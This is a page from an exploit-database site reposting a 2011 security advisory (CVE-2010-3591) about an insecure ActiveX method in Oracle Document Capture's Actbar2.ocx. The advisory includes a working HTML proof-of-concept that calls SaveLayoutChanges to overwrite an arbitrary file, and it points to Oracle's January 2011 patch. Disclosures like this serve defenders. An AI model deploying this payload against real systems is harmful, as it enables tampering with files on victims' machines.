0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Oracle Document Capture Actbar2.ocx Insecure Method
[Application: Oracle Document Capture
Versions Affected: Release 10gR3
Vendor URL: www.oracle.com
Bugs: insecure method, File overwriting
Exploits: YES
Reported: 22.03.2010
Vendor response: 31.03.2010
Date of Public Advisory:24.01.2011
CVE-number: CVE-2010-3591
Author: Evdokimov Dmitriy from Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)
Description
***********
Oracle Document Capture contains ActiveX components that contains insecure methods.
Insecure method in Actbar2.ocx
Details
*******
Oracle Document Capture contains ActiveX component ActiveBar2Library (Actbar2.ocx) Lib GUID: {4932CEF1-2CAA-11D2-A165-0060081C43D9}
which is contains insecure method "SaveLayoutChanges" that can overwrite any unhidden file in system.
Class ActiveBar2
GUID: {4932CEF4-2CAA-11D2-A165-0060081C43D9}
Number of Interfaces: 1
Default Interface: IActiveBar2
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False
Exploit
*******
Attacker can construct html page which call vulnerable function "SaveLayoutChanges" from ActiveX component Actbar2.ocx
Example:
<HTML>
<HEAD>
<TITLE>DSecRG</TITLE>
</HEAD>
<BODY>
<OBJECT id='eds' classid='clsid:4932CEF4-2CAA-11D2-A165-0060081C43D9'></OBJECT>
<SCRIPT>
function Exploit(){
eds.SaveLayoutChanges("C:\\31337.txt",1);
}
Exploit();
</SCRIPT>
</BODY>
</HTML>
References
**********
http://dsecrg.com/pages/vul/show.php?id=304
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
Fix Information
*************
Information was published in CPU Jan 2011.
All customers can download CPU patches following instructions from:
http://www.oracle.com/technetwork/topics/security/cpujan2011-194091.html
# 0day.today [2024-11-16] #